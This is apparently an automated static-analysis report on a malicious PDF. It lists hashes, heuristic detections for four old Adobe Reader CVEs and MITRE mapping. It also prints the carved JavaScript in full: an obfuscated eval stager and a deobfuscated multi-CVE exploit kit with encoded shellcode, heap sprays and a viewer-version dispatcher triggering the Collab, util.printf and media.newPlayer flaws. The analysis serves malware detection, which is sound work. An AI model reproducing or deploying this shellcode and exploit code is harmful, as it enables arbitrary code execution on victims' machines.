Malicious PDF — malware analysis report

Static analysis result for SHA-256 415cbc76684c31f0…

MALICIOUS

PDF

26.3 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-08
MD5: 940d57c0d86efc1beb7c3d857bb742aa SHA-1: b9ea45d660b90cdf9623380a5f898facafc335c4 SHA-256: 415cbc76684c31f0830b7b7f1b46e438976eb5a01f1ca0efeeadbf3b4ac61927
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 Scripting: JavaScript

The PDF file contains embedded JavaScript with a high-confidence 'eval()' call, indicating obfuscated code execution. The JavaScript stream itself is likely designed to download and execute a second-stage payload. The presence of JavaScript actions and streams within the PDF points towards an exploit or downloader attempt.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      BapegekykumiHatiz=eval(RokezutasovolZox.replace('ByjAkyfaqepeh','')+'val');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x649E 923 bytes
SHA-256: 5c18d0d95ef932b54c5105748cd19df064757329479ede9de20647c14e1cd485
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var LucEviwipijogawutd='';
var ByjAkyfaqepehe=this.producer.substr(0,4);
for(var RokezutasovolZox in this) {
	if (RokezutasovolZox=='ByjAkyfaqepehe')
		BapegekykumiHatiz=eval(RokezutasovolZox.replace('ByjAkyfaqepeh','')+'val');
}
CarYnasopuf = BapegekykumiHatiz('new Date(2007,2,51,2,12,5)');
HvobaGitu = 'thi'+CarYnasopuf.getHours()+'ducer';
SoluwosgomifWyc=BapegekykumiHatiz(HvobaGitu.replace(2,'s.pro'));
SoluwosgomifWyc = SoluwosgomifWyc.replace(/t/g,'2');
JafYci = SoluwosgomifWyc.substr(4).split('s');
var RebIrooume = '';
g = CarYnasopuf.getHours()*2;
var MiwiCm = 'fro'+CarYnasopuf.getHours()+'arCode';
MiwiCm=MiwiCm.replace(2,'mCh');
NuboZbreb=String[MiwiCm];
for (RokezutasovolZox = 0; RokezutasovolZox < JafYci.length; RokezutasovolZox++) {
	Zimoxusycqicoxotify = BapegekykumiHatiz(JafYci[RokezutasovolZox]);
	RebIrooume += NuboZbreb(Zimoxusycqicoxotify);
}
BapegekykumiHatiz(RebIrooume);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3728 bytes
SHA-256: 68887ffbfd73f45cbe7c868e2933b2541ac5fd63821083e1aa9821ca9f826314
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u54B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%uA934%uE2AA%uC3FA%uE5E8%uFFFF%u40FF%uA8A5%uA9A9%u28F7%uF545%uA9A8%u20A9%u244E%uB9E6%uC624%u98FD%uFE72%uFAF8%uFAFA%uFAFA%uFAFA%uFAFC%uC1FA%uA8AD%uA9A9%uFFFC%uC1FA%uC7C6%uA9A9%uDCC1%uC5DB%uFDC4%u27C1%uA7E7%u4145%uA9E1%uA9A9%u41F9%uA9D5%uA9A9%u7956%u6D2A%uC1A1%u46E6%uACE6%u41F9%uA9C5%uA9A9%u7956%u692C%uBEDC%uFDC3%u5AF0%uC103%u57DB%uBF1A%uB441%uA9A9%uF9A9%uF841%uA9A9%u56A9%uFA79%u57C3%u20C1%uA8C6%u4114%uA9A1%uA9A9%u41F9%uA995%uA9A9%u7956%u98C9%uCD69%uF922%u2299%uA5FB%uFB22%u22BD%u81DB%uB110%uA9A9%u98A9%u9856%u0569%uC895%uABD5%u8985%u6668%uA8A4%u4B6E%u2859%uF256%uE315%u22C3%uB9EB%uBB22%u70DC%uED20%uB58D%u6AC8%u22C9%u8DC5%u228D%u95EC%uFD22%uD1AC%u43A8%uE322%u22B1%u89F3%u42A8%u9D4A%u22E0%u229D%u47A8%u5698%u6998%u0555%u692D%uAEDD%u6668%uA8A4%u426E%u925D%u8DD5%uDC81%u2248%u8DF3%u42A8%u22CF%uE2A5%uF322%uA8B5%u2242%u22AD%u41A8%uED20%uB58D%u6BC8%uA9A1%u4641%u5657%uC156%uDDDD%u93D9%u8686%uC0CD%uC7C8%uC4C8%uC7C8%u87CD%uD3CA%uCA87%u86CA%uDCC6%u87DD%uC1D9%u96D9%u94C8%uF8F8%uEFC2%uCEEB%uEB99%uDEE8%uECFC%uE8ED%uE1EC%uC2EC%uE3CA%uE8EB%u9494%uD98F%u9E94%u00A9';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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